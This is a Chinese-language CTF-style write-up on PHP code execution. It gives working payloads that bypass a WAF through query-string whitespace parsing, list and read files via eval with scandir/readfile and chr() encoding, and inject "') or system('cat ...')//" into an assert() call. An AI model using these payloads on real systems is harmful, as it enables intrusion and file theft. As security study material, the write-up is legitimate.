代码执行之PHP

一.知识

PHP代码执行漏洞总结大全

1.漏洞产生函数:

(1)assert 1
assert()函数会将括号中的字符当成代码来执行,并返回true或false

2.or与||

or与||的异同

二.实例

1.eval,空格绕waf,函数取目录

(1)题目利用waf过滤了num参数中的一些字符,那么我们就需要利用php的字符串解析特性绕过waf,那么我们又来简单的了解下php的字符串解析特性。

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

	1.删除前后的空白符(空格符,制表符,换行符等统称为空白符);
	2.将某些字符转换为下划线(包括空格);

(2)由鉴于他过滤了单引号和双引号,我们无法直接传参。
需要用到几个函数来构建取得目录:

var_dump() — 可以将变量的内部信息打印出来,可以打印出数组
scandir() — 传入目录参数,返回传入目录的文件及文件夹
chr() — 传入数字可以将ASCII码解析为字符串
readfile() — 传入文件名作为参数可以读取文件内容
file_get_contents — 传入文件名作为参数可以读取文件内容

(3)执行

?%20num=1;var_dump(scandir(chr(47)))
?%20num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

也可以将readfile改为file_get_contents,结果一样,输出有些差异。

2.assert,strpos,or,//注释,system

$file = "templates/" . $page . ".php";

//查找 "php" 在字符串中第一次出现的位置:
//false则assert会抛出一个AssertionError异常
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

那么我们构造如下payload:

?page=') or system('cat ./templates/flag.php');//

被传入之后变成:

$file="templates/') or system('cat ./templates/flag.php');//.php"

strpos()返回false,再利用or让其执行system函数,再用" // "将后面的语句注释掉

assert("strpos('template/') or system('cat ./template/flag.php');//.php, '..') === false")

下划线内容被注释掉了,所以真正执行了以下语句

strpos('template/') or system('cat ./template/flag.php');